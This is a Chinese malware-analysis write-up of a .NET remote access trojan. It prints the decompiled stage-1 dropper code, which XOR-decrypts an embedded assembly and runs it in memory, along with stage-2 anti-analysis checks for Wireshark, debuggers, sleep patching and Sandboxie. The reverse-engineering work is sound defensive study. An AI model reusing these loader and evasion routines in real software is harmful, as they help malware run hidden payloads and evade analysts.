导语:DOTNET就是.NET, 严格说是:.Net Framework框架 。在本文中,我们会对DOTNET(.NET)中的恶意远程访问工具进行分析。

DOTNET背景知识介绍

DOTNET就是.NET, 严格说是:.Net Framework框架 。但为什么叫DOTNET(.NET)呢?在计算机行业DOT是Distributed Object Technology的简称,意为分布式对象技术。DOT恰好与“点”的英语单词相同,DOT的音标[dɔt]。.NET是一个微软开发的编程环境,里面可以使用C#,VB等多种编程语言。

借助于.NET平台,可以创建和使用基于XML的应用程序、进程和Web站点以及服务,它们之间可以按设计、在任何平台或智能设备上共享和组合信息与功能,以向单位和个人提供定制好的解决方案。

.NET是一个全面的产品家族,它建立在行业标准和Internet标准之上,提供开发(工具)、管理(服务器)、使用(构造块服务和智能客户端)以及 XML Web 服务体验(丰富的用户体验),.NET将成为你今天正在使用的Microsoft应用程序、工具和服务器的一部分。.NET目前的版本共有:

1.2003年的 .net 1.0 1.1;

2.2005年的 .net 2.0;

3.2008年的 .net 3.0 3.5;

4.2010年的 .net 4.0;

5.2011年的 .net 4.1;

6.2015年的 .net 4.6;

在本文中,我们会对DOTNET(.NET)中的恶意远程访问工具进行分析,本文所讲的RAT样本可以在VirusBay上找到。此外,这是一个本地镜像。 为了在对样本讲解时,避免发生恶意执行,这个压缩文件的密码已被加密。不过,我可以给出一些简单的样本信息。

MD5: 5a762e5381d28524d554499a2337ae34

SHA-1: c24ce7b94588a08f4a9ddfc8554ad419f1a641d9

SHA-256: 6451dad939c9bdab292445db5668deb2059d524dcfc97fa2216c4736a2c0f3e4

File type: application/x-dosexec

File size: 605.5 KB

Detection rate: 26 / 67

编辑代码

在编辑代码时,有些人可能更喜欢IDE(Integrated Development Environment,集成开发环境),不过在本文所举的样本中,既可以使用Visual Studio,也可以使用dnSpy(dnSpy 是0xd4d 开发的 .NET 程序调试神器。说它是神器真的毫不为过!它能在完全没有源码的情况下即时调试程序,甚至还能修改程序!)中的编辑功能,只要能够完成分析即可。在本文的实操中,我使用的是由dnSpy生成的导出项目。为了打开、编辑和执行这些项目,我使用了Visual Studio 2017 Community Edition。要使用这种方式,我就不得不修改某些部分的代码,以保持反编译代码的可执行性。如果你使用的是不同的工具,则可能需要对配置进行不同的更改,这点很重要。

加载程序——第1阶段

二进制文件使用了.NET编写,dnSpy在选择LJFES.exePTX.exe时针对的是特定的.NET版本,信息如下所示。

Runtime: .NET Framework 2.0

注意,二进制文件还同时给出了应用程序的入口点,这是分析的起点。请注意,名称空间和类以及方法都是给定的。

ZTXNOIRBCXBXUMZRCRBVONMOE.CUCIZZCCOCRRXIIOZIOOEIRCUITOT.Main

主函数会调用很多函数,几乎所有函数都被存储在同一个类中。这其实是攻击者采用的一种混淆形式。此外,由于名称不可读,这些名称也被混淆了。完整的主函数如下所示,然后在后面的分析中,我们会使用一个简化了的版本。

public static void Main(string[] BNCONUTZUNZVBXZBCXCXNVIRCUXRBVRMRIUIVOIEZIMCVIZVCUZEXIUVBIBMCNCCTNMVUROMXBICBZBEIIUTMTEZBERBMRVVENVMEMTE){
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QHJFMHF(38631, 98479);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.SNQBXWTXMUKB(new byte[53106]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.PUYFLGGDOAYJ(121312, 86355);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.LMQIIMGGOR(new byte[12476]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.GFJCCSOR(26136, 49680);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.UJFSXGAZQMBM(new byte[130305]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.UTAUPRBKY(61078, 60438);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KDBCANTHNL(new byte[67947]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.GUPPZKMOUTHS(48613, 111162);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.SWWFQBCVE(new byte[68443]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.FMLAZRZYNVOG(50291, 77251);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ZJMQXDLXT(new byte[92735]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.YFXJVV(29395, 92506);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QUSDTFXR(new byte[79830]);
	byte[] array = (byte[])new ResourceManager("CIUUMCBVZROMITOIVM", Assembly.GetExecutingAssembly()).GetObject("CIIVMOCZIUEZBIBMECURIIXRXROXR");
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.AXNFFLXLOSIA(63805, 46381);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ABDLEDZAXPI(new byte[28547]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.FIYHHBBYKAQO(1077, 107426);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.WVNGHSRNNRW(new byte[7210]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.YMFKLGT(84717, 131741);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.DUGKLHAIZSIC(new byte[112375]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.GSMNUCDDYP(26809, 96205);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.RXLHFDN(new byte[70296]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.IIYFVXDCL(110008, 123655);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.YCIFEQTKIMBH(new byte[66557]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.XPJPEETESWNQ(85352, 44300);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.FRRNVGVUPKAK(new byte[26150]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.JTHDUJAD(70044, 102451);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.LXJKMUOUETOB(new byte[33786]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KGNXTBFTLZ(126533, 49848);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.CLQMOSHU(new byte[57574]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.OYDCPYBAAAE(86430, 64473);
	byte[] array2 = cunkai.notin("BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU");
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.RVLEDLYWW(new byte[10756]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.PXBHPDWVN(56567, 105039);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.OKAVSWEEQ(new byte[107989]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.VDRXKVIH(35558, 40262);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KQIBXGQD(new byte[53143]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.MCKHBLWK(66087, 21650);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.WJSGJDAR(new byte[93091]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.LTOLOAMNUOAN(128620, 111623);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.HBDIBJKKQCOJ(new byte[97335]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.VEKZJUAIM(29887, 102596);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.LCATOKVEKPTZ(new byte[127254]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.GSCIXMB(107196, 77484);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KKQMEBZIO(new byte[92008]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ETOWGFYK(92973, 12027);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.CNLDDWEMLUWT(new byte[92545]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.MSCKMMHT(96916, 131543);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.HYNFUAVORGAY(new byte[117518]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.GIEPJ(1124, 114459);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.NVDUSBKTHWPY(new byte[67584]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.BNSXJHLJCQFS(77591, 129966);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KAOYXHWXPKHW(new byte[56030]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QEJDHVDEKU(29036, 100059);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QBHYSFNDODCG(new byte[79456]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.LTDEHVQCEIF(68483, 125888);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KPCPFNZHKQKR(new byte[75813]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.YLWLSJ(78413, 88572);
	for (int i = 0; i < array.Length; i++)
	{
		byte[] expr_3C8_cp_0 = array;
		int expr_3C8_cp_1 = i;
		expr_3C8_cp_0[expr_3C8_cp_1] ^= (byte)(array2[i % "BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU".Length] >> i + 5 + array2.Length & 150);
	}
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.HHYRMSBR(new byte[85113]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ESZUWZDBNUD(65224, 60464);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.EEGMUGMVG(new byte[3647]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.MLHHVQIIIBOT(10216, 103751);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.WKLCOISDVBWB(new byte[66068]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QJHOFGGLMD(74547, 62481);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.JNTMBQJXAF(new byte[50952]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.VVZJGCLEJZHM(46655, 101301);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.SBJFUSJPIKL(new byte[4035]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.OGIXEORWXDWD(121228, 88544);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.YTPHVSUJ(new byte[96233]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.FBQUULKKQAGP(15281, 104569);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.DSTNWXQOBH(new byte[120349]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KLSGDKG(39153, 1316);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.JLKNRQLMIVLU(new byte[73582]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.SRIXURKILV(44588, 2102);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.IGOGIYKH(new byte[4778]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.NQAVW(29351, 49183);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.EIMCQZZD(new byte[124507]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.UGZYFB(75038, 131858);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KCLEJTCLDQPE(new byte[107104]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ADQYTSVPQGBG(125381, 125207);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.CFBZKGCAEQJI(new byte[90505]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.TNKAZYFCFZUV(73670, 116380);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.BKRNZLORRYP(new byte[111850]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.EFGNNXCWX(4846, 92862);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.BTPNIKAUMPE(new byte[58549]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QWZIUZMJVFTG(5632, 56508);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.TYWCHBLIGSZH(new byte[47524]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.EIIXCFCNLEAG(110891, 35167);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.JNYNDYHTODO(new byte[77354]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.JKQLANHCJYWK(132457, 92627);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.PJUEGQPH(new byte[43089]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.MWXDG(4743, 121556);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.OEZJVAQKLDW(new byte[66796]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QGMEUFVGXCK(46630, 8522);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.NQSOHIQAVWF(new byte[78875]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.MTSDJEJIU(102858, 13820);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ORKAPSQRMZT(new byte[20637]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.REORSSMNQOTJ(126406, 91441);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.OEDJJXAOIBZ(new byte[60647]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.XEKBYWCKZYA(83408, 104304);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.XCGFVUXSIJL(new byte[35931]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.NHWHLZMPJ(82607, 62439);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ECJXKKSOEFJG(new byte[35098]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.MDLHCRUKJGAA(52580, 44716);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.EGARDBWBEBN(new byte[63103]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.CQDFUFY(129160, 20890);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.UNAGZB(new byte[15161]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.GIGFUOPPJKOV(1217, 64904);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.VNGSBPECZGHV(new byte[30783]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ZUSXOBUBULG(27351, 45844);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.SEQKDYLUYADQ(new byte[53847]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.CWEJIC(84696, 31412);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.YTRBEMX(new byte[91720]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.FZDZRUQYCWI(93837, 107976);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.JPYAJPYBNJN(new byte[39570]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.TQAUKKQFRJMI(129146, 81054);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.WIAMTKSLMQGF(new byte[109260]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.VAHGJRMXJTS(44178, 68995);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QJOHZVTGYBUY(new byte[36782]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.RUFJQNAFUDKW(101320, 39551);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.UFPBSRMMDWSY(new byte[18643]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.BEGNXSDMLDC(27534, 71029);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.YBZJVK(new byte[50494]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.PWWNWWZKUDCV(37041, 73409);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ZPFJJYJA(new byte[93788]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ZLRLXUILEFUC(20356, 95080);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.SBXQARBAJN(new byte[83868]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.PIXHOHTHJKUN(119417, 101495);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QWJLPP(new byte[7859]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.PPLWQVWRIAP(11079, 7257);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.WYSUUDIGDDIH(new byte[122537]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.AEGZKKGIBOI(49566, 112500);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.HYPXGGBWYKZ(new byte[2126]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.EPIXZZNHOMMJ(99796, 125510);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.JZOZSCWGZ(new byte[13728]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.LHIDXLECQLAX(110239, 59031);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.WTRGETKVKOCH(new byte[25328]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QSXKJRHJ(100070, 95973);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QHTAMMXGYEZT(new byte[126768]);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.VBOSOMZUUG(17667, 72841);
	CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QFLRSHETGLKK(new byte[15102]);
	cunkai.kazmaz(array, BNCONUTZUNZVBXZBCXCXNVIRCUXRBVRMRIUIVOIEZIMCVIZVCUZEXIUVBIBMCNCCTNMVUROMXBICBZBEIIUTMTEZBERBMRVVENVMEMTE, 25);}

快速浏览CUCIZZCCOCRRXIIOZIOOEIRCUITOT类中的函数,通过这些信息,足以了解此段代码是垃圾代码。其唯一目的是增加分析师的难度。下面给出了其中一些函数:

public static uint QHJFMHF(int KXKXKNHS, int SODCVNJYHKU){
	return 188317u;} // Token: 0x06000002 RID: 2 RVA: 0x00002060 File Offset: 0x00000260public static byte[] SNQBXWTXMUKB(byte[] OOMWSKNQIED){
	return OOMWSKNQIED;} // Token: 0x06000003 RID: 3 RVA: 0x00002064 File Offset: 0x00000264public static uint PUYFLGGDOAYJ(int YYKUVHI, int GKZTRRU){
	return 94478u;} // Token: 0x06000004 RID: 4 RVA: 0x0000207C File Offset: 0x0000027Cpublic static byte[] LMQIIMGGOR(byte[] ZTHDVNTLJYEP){
	return ZTHDVNTLJYEP;} // Token: 0x06000005 RID: 5 RVA: 0x00002080 File Offset: 0x00000280public static uint GFJCCSOR(int QGUGXDOBJD, int QRIWWUFTYCG){
	return 117451u;}

在删除主类中的垃圾调用后,代码变得更具可读性。

public static void Main(string[] BNCONUTZUNZVBXZBCXCXNVIRCUXRBVRMRIUIVOIEZIMCVIZVCUZEXIUVBIBMCNCCTNMVUROMXBICBZBEIIUTMTEZBERBMRVVENVMEMTE){
	byte[] array = (byte[])new ResourceManager("CIUUMCBVZROMITOIVM", Assembly.GetExecutingAssembly()).GetObject("CIIVMOCZIUEZBIBMECURIIXRXROXR");
	byte[] array2 = cunkai.notin("BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU");
	for (int i = 0; i < array.Length; i++)
	{
		byte[] expr_3C8_cp_0 = array;
		int expr_3C8_cp_1 = i;
		expr_3C8_cp_0[expr_3C8_cp_1] ^= (byte)(array2[i % "BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU".Length] >> i + 5 + array2.Length & 150);
	}
	cunkai.kazmaz(array, BNCONUTZUNZVBXZBCXCXNVIRCUXRBVRMRIUIVOIEZIMCVIZVCUZEXIUVBIBMCNCCTNMVUROMXBICBZBEIIUTMTEZBERBMRVVENVMEMTE, 25);}

第一个数组名为array,它相当于是嵌入式内容CIIVMOCZIUEZBIBMECURIIXRXROXR。第二个数组相当于cunkai.notin的返回值。之后的for循环会使用两个数组,执行一些计算来改变原始数组。然后,调用另一个未知函数。

buzi命名空间中cunkai类中的注释函数很简单,如下所示。

public static byte[] notin(string kesten){
	return Encoding.ASCII.GetBytes(kesten);}

第二个未知函数kazmaz调用thunda函数,但如下所示,名为faga的变量从未在函数中使用过,因此是垃圾代码。

public static byte[] kazmaz(byte[] haspu, string[] mushenik, int faga){
	return (byte[])cunkai.thunda(haspu).EntryPoint.Invoke(null, new object[]
	{
		mushenik	});}

thunda函数的返回值用作字节数组,然后调用此字节数组的入口点。看看thunda函数,就会发现加载程序的作用是显而易见的。

public static Assembly thunda(byte[] trunda){
	return AppDomain.CurrentDomain.Load(trunda);}

将名为trunda的给定字节数组加载到内存中,然后使用字符串数组mushenik中的项作为参数,调用加载的程序集的入口点。

可以使用dnSpy中的导出函数(位于“文件”菜单项下)或复制代码和其中的内容。可以通过在dnSpy中右键单击并选择Raw Save [name].来复制其中的内容。请务必折叠所有树中的节点,以避免将项目保存时的过度堆叠。

由于在复制代码时,ResourceManager并不会开箱即用,因此它被添加到所使用的新Visual Studio项目的内容中。可以使用 Properties.Resources.[name]引用这些对象,另外还值得注意的是,新项目有自己的入口点,应该相应地设置反编译代码的主函数。在本文的示例中,我使用了我自己的项目的主函数,然后调用了加载程序的主函数,我将其重命名为execute。修改后的代码如下:

public static void execute(string[] args){
	byte[] array = Properties.Resources.CIIVMOCZIUEZBIBMECURIIXRXROXR;
	byte[] array2 = LoaderClass.GetAsciiStringAsBytes("BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU");
	for (int i = 0; i < array.Length; i++)
	{
		byte[] arrayCopy = array;
		int additionalCounter = i;
		arrayCopy[additionalCounter] ^= (byte)(array2[i % "BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU".Length] >> i + 5 + array2.Length & 150);
	}
	//LoaderClass.LoadAndExecute(array, args, 25);
	File.WriteAllBytes("asset.exe", array);}

执行恶意软件的代码行有一个无用的参数,即25。这是LoadAndExecute函数中未使用的参数。数组不会执行其中的内容,而是被写入磁盘以进行进一步分析。

小结

由于要分析的内容往往穿插在各个阶段,所以在分析过程中牢记各个阶段的功能是有帮助的,这可以帮助我们进行下一个阶段的分析。在本例中,传递给原始二进制文件的参数被传递给第二阶段的dropper,快速总结二进制代码的行为可以为以后的分析提供一个清晰的思路。

1.Dropper加载有加密的内容;

2.Dropper加载有硬编码的解密密钥;

3.压缩文件被解密;

4.解密的内容被加载到内存中;

5.然后执行加载的内容;

6.提供给dropper的参数将传递给已加载的内容

加载程序——第2阶段

asset.exe文件也是Dot Net可执行文件,就像第一阶段dropper一样。使用dnSpy,可执行文件的原始名称变为可见:LJFES.exe。可执行文件的入口点是AA1.AA3.Main,这是分析开始的位置。在这个可执行文件中,没有其他名称空间和类,这大大简化了分析过程。简化后的函数如下:

1.png

2.png

这段代码看起来好像是由块组成的,且包含许多if语句。不过这些if语句代码块的内容不是相关的,只有通读完所有块,才能了解关于被分析部分的大量信息,这些部分可以是函数或类。注意,虽然需要阅读代码,但不需要完全理解每一行。不过稍后在详细分析时,充分理解代码是很重要的。为了说明这一点,将对LJFES.exe的主函数进行分析。

主函数中的每行代码都在try-catch结构中执行,catch-clause使用Exception类捕获任何异常。异常显示在消息框中,这个过程是可见的,可能表明恶意软件仍在开发中,是个测试版本。

下一个块是一个执行多个函数的if语句。如果满足语句中的任何条件,程序将自行终止。在遍历一些代码行之后,找到最后一个(也就是最大的)代码块。如果类型的名称是RunLib,则会遇到四个if语句,如果满足条件,则每个语句都调用给定的RunLib的组成部分。这很可能是恶意远程执行中的关键部分,因为它对其中所存在的功能以及这些功能的源代码所在的位置,都了如指掌

依据上述分析,我们就可以详细查看一遍代码了。这一次的目标是完全理解,并对代码分析。与第一个二进制文件不同的是,在这个类中并不是所有的字段或方法都被混淆,比如下面给出的第一个if语句。

微信截图_20181117075655.png

可以从此函数的名称中,清楚地了解它的用途,其中第一个、第三个和最后一个函数(即D)的第一个字母最有可能表示检测。为确保函数的功能和其名称相符,我们将从DWireshark函数开始对它们进行分析。

private static bool DWireshark(){
	Process[] processes = Process.GetProcesses();
	foreach (Process process in processes)
	{
		if (process.MainWindowTitle.Equals("The Wireshark Network Analyzer"))
		{
			return true;
		}
	}
	return false;}

如果正在运行的任何主窗口标头明确表示了Wireshark网络分析器的进程,则该函数返回true。这会导致恶意软件关闭,从而避免被分析。

接下来是第二个函数,名为IsDebuggerPresent。为了避免被调试,恶意软件经常检测调试器是否附加到进程中。

[DllImport("kernel32")]private static extern bool IsDebuggerPresent();

使用kernel32内部的本机函数,返回一个布尔值,该值取决于是否附加了调试器。接下来是第三个函数,其代码如下。

15.png

系统的正常运行时间(以毫秒为单位)可以通过Environment.TickCount字段获得。这两个值之间的睡眠也应该是两个保存值之间的近似差值,模拟器通常会对sleep函数进行修补,从而有效地跳过程序应该休眠的时间。这样,使用持续时间为几分钟的睡眠调用,无法避开模拟器。

由于操作系统的调度,睡眠时差可能比给定值略大或略小,但不会超出很多,然后将睡眠时间与两个保存值之间的差异进行比较。请注意,这个差异值有时小于睡眠时间(基于我自己在概念验证中编写此类检测时的测试),这会导致此恶意软件在某些不确定情况下被关闭,而sleep函数也没有被检测。

最后一个函数的代码如下:

[DllImport("kernel32.dll")]public static extern IntPtr GetModuleHandle(string lpModuleName); private static bool DSandboxie(){
	return AA3.GetModuleHandle("SbieDll.dll").ToInt32() != 0;}

使用本机函数GetModuleHandle(保存在kernel32.dll中),可以获得指向句柄的指针。如果这个指针不是0,则意味着DLL已经被加载。如果它就是0,DLL就没有被加载到内存中,因此应用程序不在Sandboxie沙箱中,Sandboxie是我们测试是用的工具,Sandboxie是一款较为著名的系统安全工具,允许你可以在沙箱环境中运行软件, Sandboxie会帮你清除一切痕迹。包括上网、程序运行痕迹或是在Sandboxie沙箱进程中下载的文件痕迹等。还可用来还原注册表、主页、收藏夹等。

如果没有检测到函数返回true,则继续执行程序。环境检测和具有所谓密钥功能的if语句之间只有10行代码。这10行代码的内容如下:

string golemiq = "BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU";
bool flag = true;
bool flag2 = false;
bool flag3 = true;
bool flag4 = false;
byte[] array = (byte[])new ResourceManager("BNXEITRNUMETMXIM", Assembly.GetExecutingAssembly()).GetObject("CCMIBETXUERE");
string[] array2 = Regex.Split(Encoding.Default.GetString(array), "kozqk");
byte[] malkopute = new byte[255];
Assembly assembly = AppDomain.CurrentDomain.Load(AA3.bigdick(Encoding.Default.GetBytes(array2[1]), malkopute, golemiq));
byte[] array3 = AA3.bigdick(Encoding.Default.GetBytes(array2[0]), malkopute, golemiq);

稍后,名为golemiq的字符串在函数calld bigdick中使用。在第一次使用中,设置变量组件。第二次使用中,设置变量array3, bigdick函数的代码如下。

public static byte[] bigdick(byte[] feromero, byte[] malkopute, string golemiq)
{
	malkopute = Encoding.ASCII.GetBytes(golemiq);
	for (int i = 0; i < feromero.Length; i++)
	{
		int num = i;
		feromero[num] ^= (byte)(malkopute[i % golemiq.Length] >> i + 5 + malkopute.Length & 150);
	}
	return feromero;
}

函数声明中的名称和主函数中使用的变量的名称相同,第一个变量在函数末尾返回。因此,将此变量重命名为output是合乎逻辑的。

第二个变量是计算期间在函数内执行的输入,用于根据自定义加密方法更改输出内容。因此,此时变量将重命名为input。

最后,提供的第三个参数将转换为字节数组并存储在输入内容中。这是所使用的自定义加密的密钥,因此按照逻辑要对这个变量密钥进行重命名。

另外函数的名称也可以更改为更有意义的内容,例如decrypt,因为它表示次函数会返回一个更改后的字节数组。稍后我们将使用该数组,下面就是重构后的代码。

public static byte[] decrypt(byte[] output, byte[] input, string key)
{
	input = Encoding.ASCII.GetBytes(key);
	for (int i = 0; i < output.Length; i++)
	{
		int num = i;
		output[num] ^= (byte)(input[i % key.Length] >> i + 5 + input.Length & 150);
	}
	return output;
}

名为flagN的变量(其中N是一个数字)只被设置一次,之后就再也不会改变。这一点很重要,因为调用加载库中的函数的if语句是根据这些flagN布尔值的值执行的。只有当值为true时,才会调用该函数。由于两个flagN布尔值被设置为了false,因此这些函数将永远不会被调用。这是恶意软件可能仍处于开发阶段的另一个证据,或者,它可能还在不断迭代中。

名为array的变量就是名为CCMIBETXUERE包含的内容。在下一行中,它基于字符串kozqk进行拆分,变量程序集被设置为拆分内容的第二项值的解密值。

名为array3的变量就是第一个拆分内容值的解密值,在根据函数和字段的描述重新命名它们之后,主函数的第一部分是清晰可读的,如下所示。

20.png

注意,有关检测技术的行Environment.Exit(0)因为调试目的,已被注释掉了。其中的内容也被修改了,因此它可以在Visual Studio项目中被正确加载。

接下来,主函数会从assemblyPart2程序集中选择RunLib类型,这是一个关于程序集文件类型的线索——库,为了获得对其的描述信息,我们会首先找出一个用来描述的概括性代码。

21.png

请注意,反编译代码中没有代码BindingFlags.InvokeMethod,使用的是value 256用于反编译代码。该值就是代码中使用的枚举值。由于Visual Studio无法处理枚举的直接值,因此它已被替换,确切的值可以在这里找到。

此外,按照逻辑,最后一个if语句中的内容此时应该被调整为Visual Studio里的合适函数,但实际情况却并非如此,这可能是恶意软件仍在进一步研发的另一个标识。默认情况下,决定执行此命令的标志会设置为false(并且永远不会更改),这就是为什么执行永远不会发生的原因。

其中的代码会有很多重复,因为它在每个if语句(共有五个if语句,会在下篇讲到)中都会调用一个函数。然而,细节却略有不同,其中给定的方法名称和函数的参数都会显示函数的内容。

